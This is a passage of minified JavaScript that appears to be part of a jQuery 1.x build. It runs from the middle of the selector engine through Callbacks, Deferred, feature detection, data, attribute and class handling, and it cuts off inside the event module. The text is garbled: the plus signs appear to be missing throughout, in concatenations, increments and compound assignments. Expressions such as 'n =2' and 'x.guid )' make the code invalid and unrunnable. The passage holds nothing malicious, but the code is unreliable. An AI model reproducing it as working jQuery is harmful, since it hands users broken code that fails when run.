f&&p===t){c[e]=[T,d,f];break}}}else{if(v&&(u=(t[b]||(t[b]={}))[e])&&u[0]===T){f=u[1]}else{while(p= d&&p&&p[g]||(f=d=0)||h.pop()){if((s?p.nodeName.toLowerCase()===y:1===p.nodeType)&& f&&(v&&((p[b]||(p[b]={}))[e]=[T,f]),p===t)){break}}}}return f-=i,f===r||0===f%r&&f/r>=0}}},PSEUDO:function(e,t){var n,r=o.pseudos[e]||o.setFilters[e.toLowerCase()]||at.error("unsupported pseudo: " e);return r[b]?r(t):r.length>1?(n=[e,e,"",t],o.setFilters.hasOwnProperty(e.toLowerCase())?lt(function(e,n){var i,o=r(e,t),a=o.length;while(a--){i=F.call(e,o[a]),e[i]=!(n[i]=o[a])}}):function(e){return r(e,0,n)}):r}},pseudos:{not:lt(function(e){var t=[],n=[],r=l(e.replace(z,"$1"));return r[b]?lt(function(e,t,n,i){var o,a=r(e,null,i,[]),s=e.length;while(s--){(o=a[s])&&(e[s]=!(t[s]=o))}}):function(e,i,o){return t[0]=e,r(t,null,o,n),!n.pop()}}),has:lt(function(e){return function(t){return at(e,t).length>0}}),contains:lt(function(e){return function(t){return(t.textContent||t.innerText||a(t)).indexOf(e)>-1}}),lang:lt(function(e){return G.test(e||"")||at.error("unsupported lang: " e),e=e.replace(rt,it).toLowerCase(),function(t){var n;do{if(n=h?t.lang:t.getAttribute("xml:lang")||t.getAttribute("lang")){return n=n.toLowerCase(),n===e||0===n.indexOf(e "-")}}while((t=t.parentNode)&&1===t.nodeType);return !1}}),target:function(t){var n=e.location&&e.location.hash;return n&&n.slice(1)===t.id},root:function(e){return e===d},focus:function(e){return e===f.activeElement&&(!f.hasFocus||f.hasFocus())&&!!(e.type||e.href||~e.tabIndex)},enabled:function(e){return e.disabled===!1},disabled:function(e){return e.disabled===!0},checked:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&!!e.checked||"option"===t&&!!e.selected},selected:function(e){return e.parentNode&&e.parentNode.selectedIndex,e.selected===!0},empty:function(e){for(e=e.firstChild;e;e=e.nextSibling){if(e.nodeName>"@"||3===e.nodeType||4===e.nodeType){return !1}}return !0},parent:function(e){return !o.pseudos.empty(e)},header:function(e){return tt.test(e.nodeName)},input:function(e){return et.test(e.nodeName)},button:function(e){var t=e.nodeName.toLowerCase();return"input"===t&&"button"===e.type||"button"===t},text:function(e){var t;return"input"===e.nodeName.toLowerCase()&&"text"===e.type&&(null==(t=e.getAttribute("type"))||t.toLowerCase()===e.type)},first:ht(function(){return[0]}),last:ht(function(e,t){return[t-1]}),eq:ht(function(e,t,n){return[0>n?n t:n]}),even:ht(function(e,t){var n=0;for(;t>n;n =2){e.push(n)}return e}),odd:ht(function(e,t){var n=1;for(;t>n;n =2){e.push(n)}return e}),lt:ht(function(e,t,n){var r=0>n?n t:n;for(;--r>=0;){e.push(r)}return e}),gt:ht(function(e,t,n){var r=0>n?n t:n;for(;t> r;){e.push(r)}return e})}},o.pseudos.nth=o.pseudos.eq;for(n in {radio:!0,checkbox:!0,file:!0,password:!0,image:!0}){o.pseudos[n]=ft(n)}for(n in {submit:!0,reset:!0}){o.pseudos[n]=dt(n)}function gt(){}gt.prototype=o.filters=o.pseudos,o.setFilters=new gt;function mt(e,t){var n,r,i,a,s,l,u,c=k[e " "];if(c){return t?0:c.slice(0)}s=e,l=[],u=o.preFilter;while(s){(!n||(r=X.exec(s)))&&(r&&(s=s.slice(r[0].length)||s),l.push(i=[])),n=!1,(r=U.exec(s))&&(n=r.shift(),i.push({value:n,type:r[0].replace(z," ")}),s=s.slice(n.length));for(a in o.filter){!(r=Q[a].exec(s))||u[a]&&!(r=u[a](r))||(n=r.shift(),i.push({value:n,type:a,matches:r}),s=s.slice(n.length))}if(!n){break}}return t?s.length:s?at.error(e):k(e,l).slice(0)}function yt(e){var t=0,n=e.length,r="";for(;n>t;t ){r =e[t].value}return r}function vt(e,t,n){var r=t.dir,o=n&&"parentNode"===r,a=C ;return t.first?function(t,n,i){while(t=t[r]){if(1===t.nodeType||o){return e(t,n,i)}}}:function(t,n,s){var l,u,c,p=T " " a;if(s){while(t=t[r]){if((1===t.nodeType||o)&&e(t,n,s)){return !0}}}else{while(t=t[r]){if(1===t.nodeType||o){if(c=t[b]||(t[b]={}),(u=c[r])&&u[0]===p){if((l=u[1])===!0||l===i){return l===!0}}else{if(u=c[r]=[p],u[1]=e(t,n,s)||i,u[1]===!0){return !0}}}}}}}function bt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--){if(!e[i](t,n,r)){return !1}}return !0}:e[0]}function xt(e,t,n,r,i){var o,a=[],s=0,l=e.length,u=null!=t;for(;l>s;s ){(o=e[s])&&(!n||n(o,r,i))&&(a.push(o),u&&t.push(s))}return a}function wt(e,t,n,r,i,o){return r&&!r[b]&&(r=wt(r)),i&&!i[b]&&(i=wt(i,o)),lt(function(o,a,s,l){var u,c,p,f=[],d=[],h=a.length,g=o||Nt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:xt(g,f,e,s,l),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,l),r){u=xt(y,d),r(u,[],s,l),c=u.length;while(c--){(p=u[c])&&(y[d[c]]=!(m[d[c]]=p))}}if(o){if(i||e){if(i){u=[],c=y.length;while(c--){(p=y[c])&&u.push(m[c]=p)}i(null,y=[],u,l)}c=y.length;while(c--){(p=y[c])&&(u=i?F.call(o,p):f[c])>-1&&(o[u]=!(a[u]=p))}}}else{y=xt(y===a?y.splice(h,y.length):y),i?i(null,a,y,l):M.apply(a,y)}})}function Tt(e){var t,n,r,i=e.length,a=o.relative[e[0].type],s=a||o.relative[" "],l=a?1:0,c=vt(function(e){return e===t},s,!0),p=vt(function(e){return F.call(t,e)>-1},s,!0),f=[function(e,n,r){return !a&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;i>l;l ){if(n=o.relative[e[l].type]){f=[vt(bt(f),n)]}else{if(n=o.filter[e[l].type].apply(null,e[l].matches),n[b]){for(r= l;i>r;r ){if(o.relative[e[r].type]){break}}return wt(l>1&&bt(f),l>1&&yt(e.slice(0,l-1).concat({value:" "===e[l-2].type?"*":""})).replace(z,"$1"),n,r>l&&Tt(e.slice(l,r)),i>r&&Tt(e=e.slice(r)),i>r&&yt(e))}f.push(n)}}return bt(f)}function Ct(e,t){var n=0,r=t.length>0,a=e.length>0,s=function(s,l,c,p,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,C=u,N=s||a&&o.find.TAG("*",d&&l.parentNode||l),k=T =null==C?1:Math.random()||0.1;for(w&&(u=l!==f&&l,i=n);null!=(h=N[b]);b ){if(a&&h){g=0;while(m=e[g ]){if(m(h,l,c)){p.push(h);break}}w&&(T=k,i= n)}r&&((h=!m&&h)&&v--,s&&x.push(h))}if(v =b,r&&b!==v){g=0;while(m=t[g ]){m(x,y,l,c)}if(s){if(v>0){while(b--){x[b]||y[b]||(y[b]=q.call(p))}}y=xt(y)}M.apply(p,y),w&&!s&&y.length>0&&v t.length>1&&at.uniqueSort(p)}return w&&(T=k,u=C),x};return r?lt(s):s}l=at.compile=function(e,t){var n,r=[],i=[],o=E[e " "];if(!o){t||(t=mt(e)),n=t.length;while(n--){o=Tt(t[n]),o[b]?r.push(o):i.push(o)}o=E(e,Ct(i,r))}return o};function Nt(e,t,n){var r=0,i=t.length;for(;i>r;r ){at(e,t[r],n)}return n}function kt(e,t,n,i){var a,s,u,c,p,f=mt(e);if(!i&&1===f.length){if(s=f[0]=f[0].slice(0),s.length>2&&"ID"===(u=s[0]).type&&r.getById&&9===t.nodeType&&h&&o.relative[s[1].type]){if(t=(o.find.ID(u.matches[0].replace(rt,it),t)||[])[0],!t){return n}e=e.slice(s.shift().value.length)}a=Q.needsContext.test(e)?0:s.length;while(a--){if(u=s[a],o.relative[c=u.type]){break}if((p=o.find[c])&&(i=p(u.matches[0].replace(rt,it),V.test(s[0].type)&&t.parentNode||t))){if(s.splice(a,1),e=i.length&&yt(s),!e){return M.apply(n,i),n}break}}}return l(e,f)(i,t,!h,n,V.test(e)),n}r.sortStable=b.split("").sort(A).join("")===b,r.detectDuplicates=S,p(),r.sortDetached=ut(function(e){return 1&e.compareDocumentPosition(f.createElement("div"))}),ut(function(e){return e.innerHTML="<a href='#'></a>","#"===e.firstChild.getAttribute("href")})||ct("type|href|height|width",function(e,n,r){return r?t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)}),r.attributes&&ut(function(e){return e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||ct("value",function(e,n,r){return r||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),ut(function(e){return null==e.getAttribute("disabled")})||ct(B,function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&i.specified?i.value:e[n]===!0?n.toLowerCase():null}),x.find=at,x.expr=at.selectors,x.expr[":"]=x.expr.pseudos,x.unique=at.uniqueSort,x.text=at.getText,x.isXMLDoc=at.isXML,x.contains=at.contains}(e);var O={};function F(e){var t=O[e]={};return x.each(e.match(T)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e){e="string"==typeof e?O[e]||F(e):x.extend({},e);var n,r,i,o,a,s,l=[],u=!e.once&&[],c=function(t){for(r=e.memory&&t,i=!0,a=s||0,s=0,o=l.length,n=!0;l&&o>a;a ){if(l[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!1;break}}n=!1,l&&(u?u.length&&c(u.shift()):r?l=[]:p.disable())},p={add:function(){if(l){var t=l.length;(function i(t){x.each(t,function(t,n){var r=x.type(n);"function"===r?e.unique&&p.has(n)||l.push(n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=l.length:r&&(s=t,c(r))}return this},remove:function(){return l&&x.each(arguments,function(e,t){var r;while((r=x.inArray(t,l,r))>-1){l.splice(r,1),n&&(o>=r&&o--,a>=r&&a--)}}),this},has:function(e){return e?x.inArray(e,l)>-1:!(!l||!l.length)},empty:function(){return l=[],o=0,this},disable:function(){return l=u=r=t,this},disabled:function(){return !l},lock:function(){return u=t,r||p.disable(),this},locked:function(){return !u},fireWith:function(e,t){return !l||i&&!u||(t=t||[],t=[e,t.slice?t.slice():t],n?u.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function(){return !!i}};return p},x.extend({Deferred:function(e){var t=[["resolve","done",x.Callbacks("once memory"),"resolved"],["reject","fail",x.Callbacks("once memory"),"rejected"],["notify","progress",x.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var a=o[0],s=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&x.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a "With"](this===r?n.promise():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return r.pipe=r.then,x.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e][2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0] "With"](this===i?r:this,arguments),this},i[o[0] "With"]=a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=g.call(arguments),r=n.length,i=1!==r||e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?g.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,l,u;if(r>1){for(s=Array(r),l=Array(r),u=Array(r);r>t;t ){n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(a(t,u,n)).fail(o.reject).progress(a(t,l,s)):--i}}return i||o.resolveWith(u,n),o.promise()}}),x.support=function(t){var n,r,o,s,l,u,c,p,f,d=a.createElement("div");if(d.setAttribute("className","t"),d.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=d.getElementsByTagName("*")||[],r=d.getElementsByTagName("a")[0],!r||!r.style||!n.length){return t}s=a.createElement("select"),u=s.appendChild(a.createElement("option")),o=d.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t.getSetAttribute="t"!==d.className,t.leadingWhitespace=3===d.firstChild.nodeType,t.tbody=!d.getElementsByTagName("tbody").length,t.htmlSerialize=!!d.getElementsByTagName("link").length,t.style=/top/.test(r.getAttribute("style")),t.hrefNormalized="/a"===r.getAttribute("href"),t.opacity=/^0.5/.test(r.style.opacity),t.cssFloat=!!r.style.cssFloat,t.checkOn=!!o.value,t.optSelected=u.selected,t.enctype=!!a.createElement("form").enctype,t.html5Clone="<:nav></:nav>"!==a.createElement("nav").cloneNode(!0).outerHTML,t.inlineBlockNeedsLayout=!1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!0,t.noCloneEvent=!0,t.reliableMarginRight=!0,t.boxSizingReliable=!0,o.checked=!0,t.noCloneChecked=o.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!u.disabled;try{delete d.test}catch(h){t.deleteExpando=!1}o=a.createElement("input"),o.setAttribute("value",""),t.input=""===o.getAttribute("value"),o.value="t",o.setAttribute("type","radio"),t.radioValue="t"===o.value,o.setAttribute("checked","t"),o.setAttribute("name","t"),l=a.createDocumentFragment(),l.appendChild(o),t.appendChecked=o.checked,t.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!0).click());for(f in {submit:!0,change:!0,focusin:!0}){d.setAttribute(c="on" f,"t"),t[f "Bubbles"]=c in e||d.attributes[c].expando===!1}d.style.backgroundClip="content-box",d.cloneNode(!0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip;for(f in x(t)){break}return t.ownLast="0"!==f,x(function(){var n,r,o,s="padding:0;margin:0;border:0;display:block;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",l=a.getElementsByTagName("body")[0];l&&(n=a.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-9999px;margin-top:1px",l.appendChild(n).appendChild(d),d.innerHTML="<table><tr><td></td><td>t</td></tr></table>",o=d.getElementsByTagName("td"),o[0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===o[0].offsetHeight,o[0].style.display="",o[1].style.display="none",t.reliableHiddenOffsets=p&&0===o[0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",x.swap(l,null!=l.style.zoom?{zoom:1}:{},function(){t.boxSizing=4===d.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle(d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||{width:"4px"}).width,r=d.appendChild(a.createElement("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMarginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&(d.innerHTML="",d.style.cssText=s "width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="block",d.innerHTML="<div></div>",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!==d.offsetWidth,t.inlineBlockNeedsLayout&&(l.style.zoom=1)),l.removeChild(n),n=d=o=r=null)}),n=s=l=u=r=o=null,t}({});var B=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;function R(e,n,r,i){if(x.acceptData(e)){var o,a,s=x.expando,l=e.nodeType,u=l?x.cache:e,c=l?e[s]:e[s]&&s;if(c&&u[c]&&(i||u[c].data)||r!==t||"string"!=typeof n){return c||(c=l?e[s]=p.pop()||x.guid :s),u[c]||(u[c]=l?{}:{toJSON:x.noop}),("object"==typeof n||"function"==typeof n)&&(i?u[c]=x.extend(u[c],n):u[c].data=x.extend(u[c].data,n)),a=u[c],i||(a.data||(a.data={}),a=a.data),r!==t&&(a[x.camelCase(n)]=r),"string"==typeof n?(o=a[n],null==o&&(o=a[x.camelCase(n)])):o=a,o}}}function W(e,t,n){if(x.acceptData(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e[x.expando]:x.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?t=[t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i--){delete r[t[i]]}if(n?!I(r):!x.isEmptyObject(r)){return}}(n||(delete a[s].data,I(a[s])))&&(o?x.cleanData([e],!0):x.support.deleteExpando||a!=a.window?delete a[s]:a[s]=null)}}}x.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(e){return e=e.nodeType?x.cache[e[x.expando]]:e[x.expando],!!e&&!I(e)},data:function(e,t,n){return R(e,t,n)},removeData:function(e,t){return W(e,t)},_data:function(e,t,n){return R(e,t,n,!0)},_removeData:function(e,t){return W(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!==e.nodeType&&9!==e.nodeType){return !1}var t=e.nodeName&&x.noData[e.nodeName.toLowerCase()];return !t||t!==!0&&e.getAttribute("classid")===t}}),x.fn.extend({data:function(e,n){var r,i,o=null,a=0,s=this[0];if(e===t){if(this.length&&(o=x.data(s),1===s.nodeType&&!x._data(s,"parsedAttrs"))){for(r=s.attributes;r.length>a;a ){i=r[a].name,0===i.indexOf("data-")&&(i=x.camelCase(i.slice(5)),$(s,i,o[i]))}x._data(s,"parsedAttrs",!0)}return o}return"object"==typeof e?this.each(function(){x.data(this,e)}):arguments.length>1?this.each(function(){x.data(this,e,n)}):s?$(s,e,x.data(s,e)):null},removeData:function(e){return this.each(function(){x.removeData(this,e)})}});function $(e,n,r){if(r===t&&1===e.nodeType){var i="data-" n.replace(P,"-$1").toLowerCase();if(r=e.getAttribute(i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null: r ""===r? r:B.test(r)?x.parseJSON(r):r}catch(o){}x.data(e,n,r)}else{r=t}}return r}function I(e){var t;for(t in e){if(("data"!==t||!x.isEmptyObject(e[t]))&&"toJSON"!==t){return !1}}return !0}x.extend({queue:function(e,n,r){var i;return e?(n=(n||"fx") "queue",i=x._data(e,n),r&&(!i||x.isArray(r)?i=x._data(e,n,x.makeArray(r)):i.push(r)),i||[]):t},dequeue:function(e,t){t=t||"fx";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks(e,t),a=function(){x.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t "queueHooks";return x._data(e,n)||x._data(e,n,{empty:x.Callbacks("once memory").add(function(){x._removeData(e,t "queue"),x._removeData(e,n)})})}}),x.fn.extend({queue:function(e,n){var r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?x.queue(this[0],e):n===t?this:this.each(function(){var t=x.queue(this,e,n);x._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&x.dequeue(this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return e=x.fx?x.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,o=x.Deferred(),a=this,s=this.length,l=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&(n=e,e=t),e=e||"fx";while(s--){r=x._data(a[s],e "queueHooks"),r&&r.empty&&(i ,r.empty.add(l))}return l(),o.promise(n)}});var z,X,U=/[\t\r\n\f]/g,V=/\r/g,Y=/^(?:input|select|textarea|button|object)$/i,J=/^(?:a|area)$/i,G=/^(?:checked|selected)$/i,Q=x.support.getSetAttribute,K=x.support.input;x.fn.extend({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access(this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return e=x.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,l="string"==typeof e&&e;if(x.isFunction(e)){return this.each(function(t){x(this).addClass(e.call(this,t,this.className))})}if(l){for(t=(e||"").match(T)||[];s>a;a ){if(n=this[a],r=1===n.nodeType&&(n.className?(" " n.className " ").replace(U," "):" ")){o=0;while(i=t[o ]){0>r.indexOf(" " i " ")&&(r =i " ")}n.className=x.trim(r)}}}return this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,l=0===arguments.length||"string"==typeof e&&e;if(x.isFunction(e)){return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))})}if(l){for(t=(e||"").match(T)||[];s>a;a ){if(n=this[a],r=1===n.nodeType&&(n.className?(" " n.className " ").replace(U," "):"")){o=0;while(i=t[o ]){while(r.indexOf(" " i " ")>=0){r=r.replace(" " i " "," ")}}n.className=e?x.trim(r):""}}}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,r=0,o=x(this),a=e.match(T)||[];while(t=a[r ]){o.hasClass(t)?o.removeClass(t):o.addClass(t)}}else{(n===i||"boolean"===n)&&(this.className&&x._data(this,"__className__",this.className),this.className=this.className||e===!1?"":x._data(this,"__className__")||"")}})},hasClass:function(e){var t=" " e " ",n=0,r=this.length;for(;r>n;n ){if(1===this[n].nodeType&&(" " this[n].className " ").replace(U," ").indexOf(t)>=0){return !0}}return !1},val:function(e){var n,r,i,o=this[0];if(arguments.length){return i=x.isFunction(e),this.each(function(n){var o;1===this.nodeType&&(o=i?e.call(this,n,x(this).val()):e,null==o?o="":"number"==typeof o?o ="":x.isArray(o)&&(o=x.map(o,function(e){return null==e?"":e ""})),r=x.valHooks[this.type]||x.valHooks[this.nodeName.toLowerCase()],r&&"set" in r&&r.set(this,o,"value")!==t||(this.value=o))})}if(o){return r=x.valHooks[o.type]||x.valHooks[o.nodeName.toLowerCase()],r&&"get" in r&&(n=r.get(o,"value"))!==t?n:(n=o.value,"string"==typeof n?n.replace(V,""):null==n?"":n)}}}),x.extend({valHooks:{option:{get:function(e){var t=x.find.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i 1:r.length,l=0>i?s:o?i:0;for(;s>l;l ){if(n=r[l],!(!n.selected&&l!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute("disabled"))||n.parentNode.disabled&&x.nodeName(n.parentNode,"optgroup"))){if(t=x(n).val(),o){return t}a.push(t)}}return a},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),a=i.length;while(a--){r=i[a],(r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0)}return n||(e.selectedIndex=-1),o}}},attr:function(e,n,r){var o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s){return typeof e.getAttribute===i?x.prop(e,n,r):(1===s&&x.isXMLDoc(e)||(n=n.toLowerCase(),o=x.attrHooks[n]||(x.expr.match.bool.test(n)?X:z)),r===t?o&&"get" in o&&null!==(a=o.get(e,n))?a:(a=x.find.attr(e,n),null==a?t:a):null!==r?o&&"set" in o&&(a=o.set(e,r,n))!==t?a:(e.setAttribute(n,r ""),r):(x.removeAttr(e,n),t))}},removeAttr:function(e,t){var n,r,i=0,o=t&&t.match(T);if(o&&1===e.nodeType){while(n=o[i ]){r=x.propFix[n]||n,x.expr.match.bool.test(n)?K&&Q||!G.test(n)?e[r]=!1:e[x.camelCase("default-" n)]=e[r]=!1:x.attr(e,n,""),e.removeAttribute(Q?n:r)}}},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&"radio"===t&&x.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:{"for":"htmlFor","class":"className"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s){return a=1!==s||!x.isXMLDoc(e),a&&(n=x.propFix[n]||n,o=x.propHooks[n]),r!==t?o&&"set" in o&&(i=o.set(e,r,n))!==t?i:e[n]=r:o&&"get" in o&&null!==(i=o.get(e,n))?i:e[n]}},propHooks:{tabIndex:{get:function(e){var t=x.find.attr(e,"tabindex");return t?parseInt(t,10):Y.test(e.nodeName)||J.test(e.nodeName)&&e.href?0:-1}}}}),X={set:function(e,t,n){return t===!1?x.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&x.propFix[n]||n,n):e[x.camelCase("default-" n)]=e[n]=!0,n}},x.each(x.expr.match.bool.source.match(/\w /g),function(e,n){var r=x.expr.attrHandle[n]||x.find.attr;x.expr.attrHandle[n]=K&&Q||!G.test(n)?function(e,n,i){var o=x.expr.attrHandle[n],a=i?t:(x.expr.attrHandle[n]=t)!=r(e,n,i)?n.toLowerCase():null;return x.expr.attrHandle[n]=o,a}:function(e,n,r){return r?t:e[x.camelCase("default-" n)]?n.toLowerCase():null}}),K&&Q||(x.attrHooks.value={set:function(e,n,r){return x.nodeName(e,"input")?(e.defaultValue=n,t):z&&z.set(e,n,r)}}),Q||(z={set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode(i=e.ownerDocument.createAttribute(r)),i.value=n ="","value"===r||n===e.getAttribute(r)?n:t}},x.expr.attrHandle.id=x.expr.attrHandle.name=x.expr.attrHandle.coords=function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))&&""!==i.value?i.value:null},x.valHooks.button={get:function(e,n){var r=e.getAttributeNode(n);return r&&r.specified?r.value:t},set:z.set},x.attrHooks.contenteditable={set:function(e,t,n){z.set(e,""===t?!1:t,n)}},x.each(["width","height"],function(e,n){x.attrHooks[n]={set:function(e,r){return""===r?(e.setAttribute(n,"auto"),r):t}}})),x.support.hrefNormalized||x.each(["href","src"],function(e,t){x.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),x.support.style||(x.attrHooks.style={get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t ""}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),x.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){x.propFix[this.toLowerCase()]=this}),x.support.enctype||(x.propFix.enctype="encoding"),x.each(["radio","checkbox"],function(){x.valHooks[this]={set:function(e,n){return x.isArray(n)?e.checked=x.inArray(x(e).val(),n)>=0:t}},x.support.checkOn||(x.valHooks[this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Z=/^(?:input|select|textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)(?:\.(. )|)$/;function it(){return !0}function ot(){return !1}function at(){try{return a.activeElement}catch(e){}}x.event={global:{},add:function(e,n,r,o,a){var s,l,u,c,p,f,d,h,g,m,y,v=x._data(e);if(v){r.handler&&(c=r,r=c.handler,a=c.selector),r.guid||(r.guid=x.guid ),(l=v.events)||(l=v.events={}),(f=v.handle)||(f=v.handle=function(e){return typeof x===i||e&&x.event.triggered===e.type?t:x.event.dispatch.apply(f.elem,arguments)},f.elem=e),n=(n||"").match(T)||[""],u=n.length;while(u--){s=rt.exec(n[u])||[],g=y=s[1],m=(s[2]||"").split(".").sort(),g&&(p=x.event.special[g]||{},g=(a?p.delegateType:p.bindType)||g,p=x.event.special[g]||{},d=x.extend({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&x.expr.match.needsContext.test(a),namespace:m.join(".")},c),(h=l[g])||(h=l[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||(e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on" g,f))),p.add&&(p.add.call(e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount ,0,d):h.push(d),x.event.global[g]=!0)}e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,p,f,d,h,g,m=x.hasData(e)&&x._data(e);if(m&&(c=m.events)){t=(t||"").match(T)||[""],u=t.length;while(u--){if(s=rt.exec(t[u])||[],d=g=s[1],h=(s[2]||"").split(".").sort(),d){p=x.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\\.)" h.join("\\.(?:.*\\.|)") "(\\.|$)"),l=o=f.length;while(o--){a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice(o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a))}l&&!f.length&&(p.teardown&&p.teardown.call(e,h,m.handle)!==!1||x.removeEvent(e,d,m.handle),delete c[d])}else{for(d in c){x.event.remove(e,d t[u],n,r,!0)}}}x.isEmptyObject(c)&&(delete m.handle,x._removeData(e,"events"))}},trigger:function(n,r,i,o){var 